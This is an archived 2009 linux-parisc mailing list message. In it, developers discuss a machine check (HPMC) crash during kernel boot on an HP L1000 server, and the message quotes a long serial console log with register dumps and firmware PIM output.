	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750745AbZGaBp6 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 30 Jul 2009 21:45:58 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 13F4A4CFD; Thu, 30 Jul 2009 21:45:53 -0400 (EDT)
In-Reply-To: <4A724818.4080909@tausq.org> from "Randolph Chung" at Jul 31, 2009 09:25:44 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1957
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1957>

Actually, the actual error seems to occur after:

> [17179584.436000] tulip 0000:18:00.0: enabling SERR and PARITY (0003 -> 0143)

There are improvements in freeing unused kernel memory in 2.6.30.y,
particularly with the patch set that I posted.  I rarely see the
"Badness at ..." message.

If the system will boot all, it should be possible to use objdump to
examine the failing kernel to see where the hpmc occurred.  Otherwise,
look at the kernel on a different system.

If Randolph is right about "kernel functions" in the wrong section,
there should be messages about this in the build log about this.
Again, I believe 2.6.30 is improved in this regard.

> Please see http://www.parisc-linux.org/faq/kernelbug-howto.html
> 
> (Thought I just noticed some bits of it are no longer true, such as the 
> address ranges)
> 
> Anyway, from the output below, I suspect maybe we have some kernel 
> functions that are not in the right section, since the error happens 
> right after  "Freeing unused kernel memory"?
> 
> But this is just a guess.
> 
> randolph
> 
> Meelis Roos wrote:
> >>> 0x0000007000FF6292 000000F0 F0000000 - type  0 = Data Field Unused
> >>> 0x5800087000FF6292 00006D05 0F092C37 - type 11 = Timestamp 06/15/2009 09:44:55
> >> I believe FF6292 is a HPMC.  Please collect and post the "ser pim" output
> >> for the above.  It would also help if the location of the HPMC can be related
> >> to your compiled kernel using objdump.
> > 
> > Well, it took some time, but I'm back to it. I rebooted a 
> > Debian-packaged kernel and got SER PIM output as well for the same boot. 
> > I also checked that there's nothing more in GSP console log.
> > 
> > As I can't boot it up with any kernel currently, I could not objdump the 
> > specific image, but I know it's 2.6.29-5 version of Debian 
> > 2.6.29-2-parisc64-smp kernel. Will investigate if I get a match - what 
> > address should I be decoding?
> > 
> > Main Menu: Enter command or menu > bo
> > NOTICE: System integrity at risk when selftest(s) are disabled.
> >         Enabling selftests with "ser sel on" will prevent this note.
> >         Do you wish to continue the boot?  [Y] or N: y
> > Interact with IPL (Y, N, or Cancel)?> y
> > 
> > Booting... 
> > Boot IO Dependent Code (IODC) revision 1
> > 
> > 
> > HARD Booted.
> > palo ipl 1.14 root@penalosa Wed Oct  8 15:04:37 UTC 2008
> > Skipping extended partition 6 - beyond reach of IPL
> > 
> > Partition Start(MB) End(MB) Id Type
> > 1               1      31   f0 Palo
> > 2              32     156   83 ext2
> > 5             157   33408   83 ext2
> > 
> > PALO(F0) partition contains:
> >     0/vmlinux64 6240197 bytes @ 0x48000
> > 
> > Information: No console specified on kernel command line. This is normal.
> > PALO will choose the console currently used by firmware (serial).Current command line:
> > 2/vmlinux root=/dev/sda5 initrd=2/initrd.img HOME=/ console=ttyS0 TERM=vt102
> >  0: 2/vmlinux
> >  1: root=/dev/sda5
> >  2: initrd=2/initrd.img
> >  3: HOME=/
> >  4: console=ttyS0
> >  5: TERM=vt102
> > 
> > <#>    edit the numbered field
> > 'b'    boot with this command line
> > 'r'    restore command line
> > 'l'    list dir
> > ? 0 l
> > Directory listing of /.
> > 
> >   lost+found
> >   vmlinux
> >   initrd.img-2.6.29-rc1.bak
> >   initrd.img
> >   vmlinux.old
> >   System.map-2.6.29-rc1
> >   vmlinux-2.6.29-rc1
> >   config-2.6.29-rc8
> >   System.map-2.6.29-rc8
> >   vmlinux-2.6.29-rc8
> >   initrd.img-2.6.29-rc8
> >   config-2.6.29-rc1
> >   initrd.img-2.6.29-rc1
> >   System.map-2.6.26-1-parisc64-smp
> >   System.map-2.6.26-1-parisc64
> >   config-2.6.26-1-parisc64
> >   vmlinux-2.6.26-1-parisc64
> >   vmlinux-2.6.26-1-parisc64-smp
> >   config-2.6.26-1-parisc64-smp
> >   initrd.img-2.6.26-1-parisc64-smp
> >   initrd.img-2.6.26-1-parisc64
> >   initrd.img.old
> >   initrd.img-2.6.26-1-parisc64-smp.bak
> >   System.map-2.6.29-2-parisc64-smp
> >   vmlinux-2.6.29-2-parisc64-smp
> >   config-2.6.29-2-parisc64-smp
> >   initrd.img-2.6.29-2-parisc64-smp
> > 
> > Current command line:
> > 2/vmlinux root=/dev/sda5 initrd=2/initrd.img HOME=/ console=ttyS0 TERM=vt102
> >  0: 2/vmlinux
> >  1: root=/dev/sda5
> >  2: initrd=2/initrd.img
> >  3: HOME=/
> >  4: console=ttyS0
> >  5: TERM=vt102
> > 
> > <#>    edit the numbered field
> > 'b'    boot with this command line
> > 'r'    restore command line
> > 'l'    list dir
> > ? 0
> > 2/vmlinux-2.6.29-2-parisc64-smp
> > Current command line:
> > 2/vmlinux-2.6.29-2-parisc64-smp root=/dev/sda5 initrd=2/initrd.img HOME=/ console=ttyS0 TERM=vt102
> >  0: 2/vmlinux-2.6.29-2-parisc64-smp
> >  1: root=/dev/sda5
> >  2: initrd=2/initrd.img
> >  3: HOME=/
> >  4: console=ttyS0
> >  5: TERM=vt102
> > 
> > <#>    edit the numbered field
> > 'b'    boot with this command line
> > 'r'    restore command line
> > 'l'    list dir
> > ? 0 2
> > initrd=2/initrd.img-2.6.29-2-parisc64-smp
> > Current command line:
> > 2/vmlinux-2.6.29-2-parisc64-smp root=/dev/sda5 initrd=2/initrd.img-2.6.29-2-parisc64-smp HOME=/ console=ttyS0 TERM=vt102
> >  0: 2/vmlinux-2.6.29-2-parisc64-smp
> >  1: root=/dev/sda5
> >  2: initrd=2/initrd.img-2.6.29-2-parisc64-smp
> >  3: HOME=/
> >  4: console=ttyS0
> >  5: TERM=vt102
> > 
> > <#>    edit the numbered field
> > 'b'    boot with this command line
> > 'r'    restore command line
> > 'l'    list dir
> > ? 0 b
> > 
> > Command line for kernel: 'root=/dev/sda5 HOME=/ console=ttyS0 TERM=vt102 palo_kernel=2/vmlinux-2.6.29-2-parisc64-smp'
> > Selected kernel: /vmlinux-2.6.29-2-parisc64-smp from partition 2
> > Selected ramdisk: /initrd.img-2.6.29-2-parisc64-smp from partition 2
> > ELF64 executable
> > Entry 00100000 first 00100000 n 3
> > Segment 0 load 00100000 size 4784128 mediaptr 0x1000
> > Segment 1 load 00628000 size 403984 mediaptr 0x491000
> > Segment 2 load 0068c000 size 317824 mediaptr 0x4f4000
> > Loading ramdisk 7887983 bytes @ 3f868000...
> > Branching to kernel entry point 0x00100000.  If this is the last
> > message you see, you may need to switch your console.  This is
> > a common symptom -- search the FAQ and mailing list at parisc-linux.org
> > 
> > [    0.000000] Initializing cgroup subsys cpuset
> > [    0.000000] Initializing cgroup subsys cpu
> > [    0.000000] Linux version 2.6.29-2-parisc64-smp (Debian 2.6.29-5) (waldi@debian.org) (gcc version 4.3.3 (GCC) ) #1 SMP Mon May 18 14:55:30 UTC 2009
> > [    0.000000] unwind_init: start = 0x404bf0a4, end = 0x404eb424, entries = 11320
> > [    0.000000] WARNING: Out of order unwind entry! 00000000404c0fb4 and 00000000404c0fc4
> > [    0.000000] WARNING: Out of order unwind entry! 00000000404c0fc4 and 00000000404c0fd4
> > [    0.000000] FP[0] enabled: Rev 1 Model 16
> > [    0.000000] The 64-bit Kernel has started...
> > [    0.000000] console [ttyB0] enabled
> > [    0.000000] Initialized PDC Console for debugging.
> > [    0.000000] Determining PDC firmware type: 64 bit PAT.
> > [    0.000000] model 00005c90 00000491 00000000 00000002 2353fbcb 100000f0 00000008 000000b2 000000b2
> > [    0.000000] vers  00000203
> > [    0.000000] CPUID vers 17 rev 8 (0x00000228)
> > [    0.000000] capabilities 0x1
> > [    0.000000] model 9000/800/L1000-44
> > [    0.000000] Total Memory: 3072 MB
> > [    0.000000] initrd: 7f868000-7ffedc6f
> > [    0.000000] initrd: reserving 3f868000-3ffedc6f (mem_max c0000000)
> > [    0.000000] SMP: bootstrap CPU ID is 0
> > [    0.000000] Built 1 zonelists in Zone order, mobility grouping on.  Total pages: 775680
> > [    0.000000] Kernel command line: root=/dev/sda5 HOME=/ console=ttyS0 TERM=vt102 palo_kernel=2/vmlinux-2.6.29-2-parisc64-smp
> > [    0.000000] PID hash table entries: 4096 (order: 12, 32768 bytes)
> > [17179569.184000] Console: colour dummy device 160x64
> > [17179569.200000] Dentry cache hash table entries: 524288 (order: 10, 4194304 bytes)
> > [17179569.240000] Inode-cache hash table entries: 262144 (order: 9, 2097152 bytes)
> > [17179569.760000] Memory: 3075708k/3145728k available (3164k kernel code, 69364k reserved, 1459k data, 312k init)
> > [17179569.772000] virtual kernel memory layout:
> > [17179569.772000]     vmalloc : 0x0000000000008000 - 0x000000003f000000   (1007 MB)
> > [17179569.772000]     memory  : 0x0000000040000000 - 0x0000000100000000   (3072 MB)
> > [17179569.772000]       .init : 0x000000004068c000 - 0x00000000406da000   ( 312 kB)
> > [17179569.772000]       .data : 0x00000000404173d0 - 0x0000000040584000   (1459 kB)
> > [17179569.772000]       .text : 0x0000000040100000 - 0x00000000404173d0   (3164 kB)
> > [17179569.840000] Calibrating delay loop... 876.54 BogoMIPS (lpj=1753088)
> > [17179569.936000] Security Framework initialized
> > [17179569.944000] SELinux:  Disabled at boot.
> > [17179569.956000] Mount-cache hash table entries: 256
> > [17179570.060000] Initializing cgroup subsys ns
> > [17179570.068000] Initializing cgroup subsys cpuacct
> > [17179570.072000] Initializing cgroup subsys devices
> > [17179570.076000] Initializing cgroup subsys freezer
> > [17179570.080000] Initializing cgroup subsys net_cls
> > [17179570.096000] Brought up 1 CPUs
> > [17179570.348000] net_namespace: 1880 bytes
> > [17179570.352000] regulator: core version 0.5
> > [17179570.480000] NET: Registered protocol family 16
> > [17179570.492000] EISA bus registered
> > [17179570.500000] Searching for devices...
> > [17179571.076000] Found devices:
> > [17179571.080000] 1. Rhapsody DC- 440 at 0xfffffffffffa0000 [160] { 0, 0x0, 0x5c9, 0x00004 }
> > [17179571.092000] 2. Rhapsody DC- 440 at 0xfffffffffffa6000 [166] { 0, 0x0, 0x5c9, 0x00004 }
> > [17179571.100000] 3. Memory at 0xfffffffffed08000 [8] { 1, 0x0, 0x095, 0x00009 }
> > [17179571.108000] 4. Astro BC Runway Port at 0xfffffffffed00000 [0] { 12, 0x0, 0x582, 0x0000b }
> > [17179571.112000] 5. Elroy PCI Bridge at 0xfffffffffed30000 [0/0] { 13, 0x0, 0x782, 0x0000a }
> > [17179571.188000] 6. Elroy PCI Bridge at 0xfffffffffed32000 [0/1] { 13, 0x0, 0x782, 0x0000a }
> > [17179571.196000] 7. Elroy PCI Bridge at 0xfffffffffed34000 [0/2] { 13, 0x0, 0x782, 0x0000a }
> > [17179571.204000] 8. Elroy PCI Bridge at 0xfffffffffed36000 [0/3] { 13, 0x0, 0x782, 0x0000a }
> > [17179571.212000] 9. Elroy PCI Bridge at 0xfffffffffed38000 [0/4] { 13, 0x0, 0x782, 0x0000a }
> > [17179571.220000] 10. Elroy PCI Bridge at 0xfffffffffed3a000 [0/5] {
> > ********** VIRTUAL FRONT PANEL **********
> > System Boot detected
> > *****************************************
> > LEDs:  RUN      ATTENTION     FAULT     REMOTE     POWER
> >        ON       FLASH         OFF       ON         ON
> > LED State: There was a system interruption that did not take the system down.
> > Check Chassis and Console Logs for error messages.
> > 
> > processor                 system initialization      1C00
> > 
> > *****************************************
> > 
> > ************ EARLY BOOT VFP *************
> > End of early boot detected
> > *****************************************
> > [17179572.312000] powersw: Soft power switch support not available.
> > [17179572.328000] bio: create slab <bio-0> at 0
> > [17179572.480000] NET: Registered protocol family 2
> > [17179572.540000] IP route cache hash table entries: 131072 (order: 8, 1048576 bytes)
> > [17179572.552000] TCP established hash table entries: 262144 (order: 10, 4194304 bytes)
> > [17179572.624000] TCP bind hash table entries: 65536 (order: 8, 1048576 bytes)
> > [17179572.748000] TCP: Hash tables configured (established 262144 bind 65536)
> > [17179572.756000] TCP reno registered
> > [17179572.768000] NET: Registered protocol family 1
> > [17179572.880000] checking if image is initramfs... it is
> > [17179576.376000] Freeing initrd memory: 7703k freed
> > [17179576.384000] Chassis warnings not supported.
> > [17179576.392000] Performance monitoring counters enabled for Rhapsody DC- 440
> > [17179576.404000] audit: initializing netlink socket (disabled)
> > [17179576.416000] type=2000 audit(1248974998.722:1): initialized
> > [17179576.428000] VFS: Disk quotas dquot_6.5.2
> > [17179576.436000] Dquot-cache hash table entries: 512 (order 0, 4096 bytes)
> > [17179576.460000] msgmni has been set to 6023
> > [17179576.468000] alg: No test for stdrng (krng)
> > [17179576.476000] Block layer SCSI generic (bsg) driver version 0.4 loaded (major 253)
> > [17179576.488000] io scheduler noop registered
> > [17179576.492000] io scheduler anticipatory registered
> > [17179576.496000] io scheduler deadline registered
> > [17179576.500000] io scheduler cfq registered (default)
> > [17179576.604000] PDC Stable Storage facility v0.30
> > [17179577.424000] STI GSC/PCI core graphics driver Version 0.9a
> > [17179577.456000] Serial: 8250/16550 driver, 4 ports, IRQ sharing enabled
> > [17179577.464000] serial 0000:00:04.0: enabling device (0146 -> 0147)
> > [17179577.476000] 0000:00:04.0: ttyS0 at MMIO 0xfffffffff8000000 (irq = 70) is a 16550A
> > [17179577.484000] console handover: boot [ttyB0] -> real [ttyS0]
> > [17179577.500000] 0000:00:04.0: ttyS1 at MMIO 0xfffffffff8000008 (irq = 70) is a 16550A
> > [17179577.524000] 0000:00:04.0: ttyS2 at MMIO 0xfffffffff8000010 (irq = 70) is a 16550A
> > [17179577.536000] serial 0000:00:05.0: enabling device (0000 -> 0003)
> > [17179577.548000] serial 0000:00:05.0: enabling SERR and PARITY (0003 -> 0143)
> > [17179577.564000] 0000:00:05.0: ttyS3 at MMIO 0xfffffffff8005000 (irq = 71) is a 16550A
> > [17179577.576000] Couldn't register serial port 0000:00:05.0: -28
> > [17179577.680000] brd: module loaded
> > [17179577.804000] mice: PS/2 mouse device common for all mice
> > [17179577.816000] rtc-parisc rtc-parisc: rtc core: registered rtc-parisc as rtc0
> > [17179577.828000] TCP cubic registered
> > [17179577.944000] NET: Registered protocol family 17
> > [17179577.956000] registered taskstats version 1
> > [17179578.088000] rtc-parisc rtc-parisc: setting system clock to 2009-07-30 17:30:00 UTC (1248975000)
> > [17179578.100000] Freeing unused kernel memory: <0>------------[ cut here ]------------
> > [17179578.236000] Badness at /build/buildd/linux-2.6-2.6.29/debian/build/source_hppa_none/kernel/smp.c:329
> > [17179578.372000] 
> > [17179578.372000]      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
> > [17179578.376000] PSW: 00001000000001100000000000001110 Not tainted
> > [17179578.512000] r00-03  000000000806000e 00000000406829c0 0000000040181194 0000000040590020
> > [17179578.652000] r04-07  00000000406791c0 000000004065e6a0 0000000000000000 00000000404fdfa0
> > [17179578.660000] r08-11  000000004065e6a0 0000000000000000 00000000406841c0 0000000000000001
> > [17179578.668000] r12-15  000000004067a9c0 0000000000000000 00000000406791c0 00000000000000ff
> > [17179578.676000] r16-19  00000000406809c0 00000000406879c0 00000000ff83a268 000000004[17179579.072000] r20-23  0000000000000000 00000000406da000 fffffffffffffffe 0000000000000001
> > [17179579.084000] r24-27  0000000000000000 000000004065e6a0 00000000404fdfa0 00000000406791c0
> > [17179579.092000] r28-31  000000000800000e 00000000ff8404a0 00000000ff840590 0000000000000000
> > [17179579.100000] sr00-03  0000000000000000 0000000000000000 0000000000000000 0000000000000000
> > [17179579.108000] sr04-07  0000000000000000 0000000000000000 000000000000000
> > [17179579.640000] 
> > [17179579.644000] IASQ: 0000000000000000 0000000000000000 IAOQ: 0000000040180e34 0000000040180e38
> > [17179579.652000]  IIR: 03ffe01f    ISR: 0000000010340000  IOR: 000002fe10040510
> > [17179579.660000]  CPU:        0   CR30: 00000000ff840000 CR31: ffffffffffffffff
> > [17179579.668000]  ORIG_R28: 000000000800000e
> > [17179579.672000]  IAOQ[0]: smp_call_function_many+0x44/0x368
> > [17179579.920000]  IAOQ[1]: smp_call_function_many+0x48/0x368
> > [17179579.928000]  RP(r2): smp_call_function+0x3c/0x50
> > [17179579.932000] Backtrace:
> > [17179579.932000]  [<0000000040181194>] smp_call_function+0x3c/0x50
> > [17179579.940000000401a1504>] call_rcu+0x44/0x58
> > [17179580.344000] 
> > [17179580.352000] ------------[ cut here ]------------
> > [17179580.360000] Badness at /build/buildd/linux-2.6-2.6.29/debian/build/source_hppa_none/kernel/smp.c:226
> > [17179580.368000] 
> > [17179580.368000]      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
> > [17179580.376000] PSW: 00001000000001101111111000001110 Tainted: G        W 
> > [17179580.380000] r00-03  000000ff0806fe0e 000000004067e1c0 0000000040180f1c 0000000000000000
> > [17179580.388000] r04-07  00000000406791c0 00000000065e6a0 0000000000000000
> > [17179580.908000] r08-11  000000004065e6a0 0000000000000000 00000000406841c0 0000000000000001
> > [17179580.920000] r12-15  000000004067a9c0 0000000000000000 00000000406791c0 00000000000000ff
> > [17179580.928000] r16-19  00000000406809c0 00000000406879c0 00000000ff83a268 0000000000000008
> > [17179580.936000] r20-23  00000000404fdfa0 0000000000000002 fffffffffffffffe 0000000000000001
> > [17179580.944000] r24-27  0000000000000000 000000004065e6a0 0000000000000001 0000000041.340000] r28-31  000000000800000e 00000000ff840560 00000000ff840660 0000000000000008
> > [17179581.476000] sr00-03  0000000000000000 0000000000000000 0000000000000000 0000000000000000
> > [17179581.492000] sr04-07  0000000000000000 0000000000000000 0000000000000000 0000000000000000
> > [17179581.500000] 
> > [17179581.500000] IASQ: 0000000000000000 0000000000000000 IAOQ: 0000000040180cd0 0000000040180cd4
> > [17179581.508000]  IIR: 03ffe01f    ISR: 0000000010340000  IOR: 000002fe100405e0
> > [17179581.512000]  CPU:        0   CR30: 00000000ff840000 CR31: fffffffff81.908000]  ORIG_R28: 0000000000000001
> > [17179582.036000]  IA
> > ********** VIRTUAL FRONT PANEL **********
> > System Boot detected
> > *****************************************
> > LEDs:  RUN      ATTENTION     FAULT     REMOTE     POWER
> >        ON       FLASH         OFF       ON         ON
> > LED State: There was a system interruption that did not take the system down.
> > Check Chassis and Console Logs for error messages.
> > 
> > processor                 system initialization      1C00
> > 
> > *****************************************
> > 
> > ************ EARLY BOOT VFP *************
> > End of early boot detected
> > *****************************************
> > Begin: Loading essential drivers ... WARNING: All config files need .conf: /etc/modprobe.d/pnp-hotplug, it will be ignored in a future release.
> > WARNING: All config files need .conf: /etc/modprobe.d/display_class, it will be ignored in a future release.
> > WARNING: All config files need .conf: /etc/modprobe.d/blacklist, it will be ignored in a future release.
> > [17179583.088000] SCSI subsystem initialized
> > WARNING: All config files need .conf: /etc/modprobe.d/pnp-hotplug, it will be ignored in a future release.
> > WARNING: All config files need .conf: /etc/modprobe.d/display_class, it will be ignored in a future release.
> > WARNING: All config files need .conf: /etc/modprobe.d/blacklist, it will be ignored in a future release.
> > WARNING: All config files need .conf: /etc/modprobe.d/pnp-hotplug, it will be ignored in a future release.
> > WARNING: All config files need .conf: /etc/modprobe.d/display_class, it will be ignored in a future release.
> > WARNING: All config files need .conf: /etc/modprobe.d/blacklist, it will be ignored in a future release.
> > done.
> > Begin: Running /scripts/init-premount ... [17179583.856000] Linux Tulip driver version 1.1.15-NAPI (Feb 27, 2007)
> > [17179584.008000] tulip 0000:00:00.0: enabling device (0140 -> 0143)
> > [17179584.028000] tulip0: no phy info, aborting mtable build
> > [17179584.140000] tulip0:  MII transceiver #1 config 1000 status 782d advertising 0061.
> > [17179584.164000] eth0: Digital DS21142/43 Tulip rev 65 at MMIO 0xfffffffff8006000, 00:10:83:fe:9c:b0, IRQ 66.
> > [17179584.428000] tulip 0000:18:00.0: enabling device (0000 -> 0003)
> > [17179584.436000] tulip 0000:18:00.0: enabling SERR and PARITY (0003 -> 0143)
> > 
> > ************* SYSTEM ALERT **************
> > SYSTEM NAME: scaspdb24
> > DATE: 07/30/2009 TIME: 17:30:06
> > ALERT LEVEL: 7 = reserved
> > 
> > REASON FOR ALERT
> > SOURCE: 0 = unknown, no source stated
> > SOURCE DETAIL: 0 = unknown, no source stated   SOURCE ID: FF
> > PROBLEM DETAIL: 0 = no problem detail
> > 
> > LEDs:  RUN      ATTENTION     FAULT     REMOTE     POWER
> >        ON       FLASH         OFF       ON         ON
> > LED State: There was a system interruption that did not take the system down.
> > Check Chassis and Console Logs for error messages.
> > 
> > 0x0000007000FF6292 000000F0 F0000000 - type  0 = Data Field Unused
> > 0x5800087000FF6292 00006D06 1E111E06 - type 11 = Timestamp 07/30/2009 17:30:06
> > A: ack read of this entry - X: Disable all future alert messages
> > Anything else skip redisplay the log entry
> > ->Choice:a
> > *****************************************
> > 
> > 
> > Leaving Console Mode - you may lose write access.
> > When Console Mode returns, type ^Ecf to get console write access.
> > 
> > Service Processor login: 
> > Service Processor password: 
> > 
> > 
> > 
> > 
> >              Hewlett-Packard Guardian Service Processor
> > 
> > 
> >              9000/800/L1000-44 System Name: scaspdb24
> > 
> > 
> > GSP Host Name:  scaspdb24
> > GSP> r ser pim
> > 
> > Unknown Command 
> > 
> > 
> > GSP Host Name:  scaspdb24
> > GSP> rs
> > 
> > 
> > RS
> > 
> > Execution of this command irrecoverably halts all system processing and
> > I/O activity and restarts the computer system.
> > 
> > Type Y to confirm your intention to restart the system: (Y/[N]) y
> > y
> >    -> SPU hardware was successfully issued a reset.
> > 
> > 
> > GSP Host Name:  scaspdb24
> > GSP> 
> > ********** VIRTUAL FRONT PANEL **********
> > System Boot detected
> > *****************************************
> > LEDs:  RUN      ATTENTION     FAULT     REMOTE     POWER
> >        FLASH    FLASH         FLASH     ON         ON
> > LED State: Unexpected Reboot. Running non-OS code. Non-critical error detected.
> > Check Chassis and Console Logs for error messages.
> > 
> > platform                  config                     626F
> > processor                 slave rendezvous           1C17
> > processor                 test                       1142
> > processor                 test                       1100
> > processor                 test                       1100
> > processor                 test                       1100
> > processor                 test                       1100
> > processor                 test                       1100
> > processor                 test                       1100
> > processor                 test                       1100
> > processor                 test                       1100
> > processor                 test                       1100
> > PDH                       config                     322F
> > PDH                       test                       3149
> > PDH                       test                       3160
> > platform                  test                       616A
> > processor                 test                       1146
> > processor                 INIT                       1701
> > processor                 INIT                       1701
> > processor                 test                       1110
> > processor                 test                       1110
> > processor                 test                       1110
> > processor                 INIT                       1701
> > processor                 test                       1110
> > processor                 INIT                       1701
> > processor                 test                       1110
> > processor                 test                       1110
> > processor                 slave rendezvous           1C17
> > processor                 test                       1142
> > processor                 slave rendezvous           1C10
> > processor                 test                       1142
> > PDH                       test                       3158
> > PDH                       test                       3157
> > PDH                       test                       316E
> > PDH                       test                       316E
> > PDH                       test                       316E
> > PDH                       test                       316E
> > PDH                       test                       316E
> > PDH                       test                       316E
> > PDH                       test                       316E
> > memory                    config                     7210
> > memory                    INIT                       7702
> > memory                    INIT                       771D
> > memory                    test                       7150
> > memory                    config                     7213
> > memory                    config                     7213
> > memory                    config                     7214
> > memory                    config                     7213
> > memory                    config                     7213
> > memory                    config                     7214
> > memory                    config                     7213
> > memory                    config                     7213
> > memory                    config                     7214
> > memory                    config                     7213
> > memory                    config                     7213
> > memory                    config                     7214
> > memory                    config                     7213
> > memory                    config                     7213
> > memory                    config                     7214
> > memory                    config                     7213
> > memory                    config                     7213
> > memory                    config                     7214
> > memory                    config                     7213
> > memory                    config                     7213
> > memory                    config                     7214
> > memory                    config                     7213
> > memory                    config                     7213
> > memory                    config                     7214
> > memory                    config                     7213
> > memory                    config                     7213
> > memory                    config                     7215
> > memory                    config                     7216
> > memory                    config                     72A0
> > memory                    test                       71A1
> > memory                    test                       71A2
> > memory                    test                       71A4
> > memory                    test                       71A5
> > memory                    test                       71A6
> > memory                    test                       71A3
> > memory                    test                       71A4
> > memory                    test                       71A4
> > memory                    test                       71A5
> > memory                    test                       71A5
> > memory                    test                       71A6
> > memory                    test                       71A6
> > memory                    config                     7217
> > memory                    config                     7218
> > memory                    config                     72A0
> > memory                    test                       71A1
> > memory                    test                       71A2
> > memory                    test                       71A4
> > memory                    test                       71A5
> > memory                    test                       71A6
> > memory                    test                       71A3
> > memory                    test                       71A4
> > memory                    test                       71A4
> > memory                    test                       71A5
> > memory                    test                       71A5
> > memory                    test                       71A6
> > memory                    test                       71A6
> > memory                    config                     7210
> > I/O                       INIT                       8701
> > I/O                       test                       8118
> > I/O                       test                       8118
> > I/O                       INIT                       8701
> > I/O                       INIT                       8701
> > I/O                       INIT                       8701
> > I/O                       INIT                       8701
> > I/O                       INIT                       8701
> > I/O                       INIT                       8701
> > I/O                       INIT                       8701
> > I/O                       INIT                       8701
> > I/O                       INIT                       8701
> > memory                    config                     7240
> > memory                    INIT                       7702
> > memory                    config                     7241
> > memory                    config                     7243
> > memory                    config                     72A0
> > memory                    test                       71A1
> > memory                    test                       71A2
> > memory                    test                       71A4
> > memory                    test                       71A5
> > memory                    test                       71A6
> > memory                    test                       71A3
> > memory                    test                       71A4
> > memory                    test                       71A4
> > memory                    test                       71A4
> > memory                    test                       71A4
> > memory                    test                       71A4
> > memory                    test                       71A4
> > memory                    test                       71A4
> > memory                    test                       71A4
> > memory                    test                       71A4
> > memory                    test                       71A4
> > memory                    test                       71A4
> > memory                    test                       71A4
> > memory                    test                       71A4
> > memory                    test                       71A5
> > memory                    test                       71A5
> > memory                    test                       71A5
> > memory                    test                       71A5
> > memory                    test                       71A5
> > memory                    test                       71A5
> > memory                    test                       71A5
> > memory                    test                       71A5
> > memory                    test                       71A5
> > memory                    test                       71A5
> > memory                    test                       71A5
> > memory                    test                       71A5
> > memory                    test                       71A5
> > memory                    test                       71A6
> > memory                    test                       71A6
> > memory                    test                       71A6
> > memory                    test                       71A6
> > memory                    test                       71A6
> > memory                    test                       71A6
> > memory                    test                       71A6
> > memory                    test                       71A6
> > memory                    test                       71A6
> > memory                    test                       71A6
> > memory                    test                       71A6
> > memory                    test                       71A6
> > memory                    test                       71A6
> > memory                    INIT                       7745
> > memory                    config                     7240
> > I/O                       config                     8204
> > I/O                       config                     8204
> > I/O                       test                       8119
> > I/O                       test                       8119
> > I/O                       test                       8119
> > I/O                       test                       8119
> > I/O                       test                       8119
> > I/O                       test                       8119
> > I/O                       test                       8119
> > I/O                       test                       8119
> > I/O                       test                       8119
> > I/O                       test                       8119
> > I/O                       config                     8204
> > processor                 test                       1120
> > processor                 test                       1120
> > processor                 INIT                       1701
> > processor                 test                       1120
> > processor                 test                       1120
> > processor                 test                       1120
> > processor                 INIT                       1701
> > processor                 test                       1120
> > processor                 slave rendezvous           1C40
> > processor                 test                       1142
> > platform                  test                       612A
> > I/O                       config                     8238
> > 
> > *****************************************
> > 
> > ************ EARLY BOOT VFP *************
> > End of early boot detected
> > *****************************************
> > 
> > Firmware Version  44.28
> > 
> > Duplex Console IO Dependent Code (IODC) revision 1
> > 
> > ------------------------------------------------------------------------------
> >    (c) Copyright 1995-2002, Hewlett-Packard Company, All rights reserved
> > ------------------------------------------------------------------------------
> > 
> >   Processor   Speed            State           CoProcessor State  Cache Size
> >   Number                                       State              Inst    Data
> >   ---------  --------   ---------------------  -----------------  ------------
> >       0      440  MHz   Active                 Functional         512 KB   1 MB
> >       3      440  MHz   Idle                   Functional         512 KB   1 MB
> > 
> >   Central Bus Speed (in MHz)  :         82  
> >   Available Memory            :    3145728  KB
> >   Good Memory Required        :      22096  KB
> > 
> >    Primary boot path:    0/0/1/1.0           
> >    Alternate boot path:  0/7/0/0.97.20.19.0.0.5     
> >    Console path:         0/0/4/0.0           
> >    Keyboard path:        0/0/4/0.0           
> > 
> > 
> > ---- Main Menu ---------------------------------------------------------------
> > 
> >      Command                           Description
> >      -------                           -----------
> >      BOot [PRI|ALT|<path>]             Boot from specified path
> >      PAth [PRI|ALT] [<path>]           Display or modify a path
> >      SEArch [DIsplay|IPL] [<path>]     Search for boot devices
> > 
> >      COnfiguration menu                Displays or sets boot values
> >      INformation menu                  Displays hardware information
> >      SERvice menu                      Displays service commands
> > 
> >      DIsplay                           Redisplay the current menu
> >      HElp [<menu>|<command>]           Display help for menu or command
> >      RESET                             Restart the system
> > ----
> > Main Menu: Enter command or menu > ser pim
> > 
> > 
> > PROCESSOR PIM INFORMATION
> > 
> > Original Product Number:   A5576A
> > Current Product Number:    A5576A
> > 
> > 
> > -----------------  Processor 0 HPMC Information - PDC Version: 44.28  ------ 
> > 
> > Timestamp =    Thu Jul  30 17:30:07 GMT 2009    (20:09:07:30:17:30:07)
> > 
> > HPMC Chassis Codes 
> > 
> >        Chassis Code        Extension 
> >        ------------        --------- 
> >        0x0000082000ff6242  0x0000000000000000
> >        0x1800082011006312  0xcb81000000000000
> >        0x0000087000ff6292  0x000000f0f0000000
> >        0x6000082070006062  0x0000000000100010
> >        0x7000082070006082  0x0000000000b92400
> >        0x7000082379006133  0xc1bff0fffed08040
> >        0x0000080080006310  0x0000000000000001
> >        0x000008008000631f  0x0000000000000000
> >        
> > 
> > General Registers 0 - 31
> > 00-03  0000000000000000  00000000402e7098  000000000c1b5c78  000000007f954680
> > 04-07  000000000c1b1000  000000000c1fc800  000000000c1c79b0  000000007f954000
> > 08-11  000000000c1fc830  0000000000000003  00000000fe87e800  000000000c1fc800
> > 12-15  0000000000000000  00000000fb6a2d5e  00000000fb6a2b5e  0000000000000003
> > 16-19  0000000000026420  0000000000000000  00000000fe87e880  000000007f9555b8
> > 20-23  0000000000000000  000000007f9552c0  ffffffffc0000000  0000000000100000
